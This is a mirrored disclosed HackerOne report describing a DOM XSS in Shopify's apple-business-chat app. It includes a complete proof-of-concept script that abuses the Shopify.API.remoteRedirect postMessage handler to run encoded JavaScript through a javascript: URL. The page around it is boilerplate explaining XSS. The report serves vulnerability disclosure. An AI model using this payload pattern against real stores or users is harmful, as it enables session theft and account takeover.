Skip to content
XSS Disclosed report Intermediate

██████ DOM XSS via Shopify.API.remoteRedirect

yxw21 Follow

Originally disclosed on HackerOne

  • Triaged in 15 hours
  • Fixed in 10 days
  • Paid in 15 hours
  • Disclosed after 2 months

Hi, team. I found a dom xss on the apple-business-chat app that seems to be referring to a vulnerable js file. For users who have installed this app, just let him use the theme code I provided to complete xss. Modify the theme code to the following payload

<script>
	  function attack(){
	    let ctx=window.open('https://apple-business-chat-commerce.shopifycloud.com'),interval;
	    let payload=btoa(`window.opener.postMessage('success',location.origin);alert(document.domain)`);
	    interval=setInterval(()=>{
	        ctx && ctx.postMessage({
        		"message":"Shopify.API.remoteRedirect",
        		"data":{
        			"location":`javascript:eval(atob('${payload}'))`
        		}
	        },location.origin);
	    },500);
	    window.onmessage=(e)=>{
	    	e.data==="success"&&(
	    		console.log('attack success'),
	    		window.onmessage=null,
	    		clearInterval(interval)
	    	);
	    };
	  }
	  attack();
	</script>
	<a href="javascript:attack()" style="display:block;text-align:center;width:100%;height:300px;line-height:300px;background:#000;color:#fff;">click me start attack</a>

As shown below

2.png
2.png From the original on HackerOne

Then click on the store front page to trigger

1.png
1.png From the original on HackerOne

█████

Impact

Steal session information, add administrators, etc.

The original report as published on HackerOne, by yxw21. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A low-severity XSS bug in your-store.myshopify.com. HackerOne made it public on 15 September 2019.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by yxw21

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.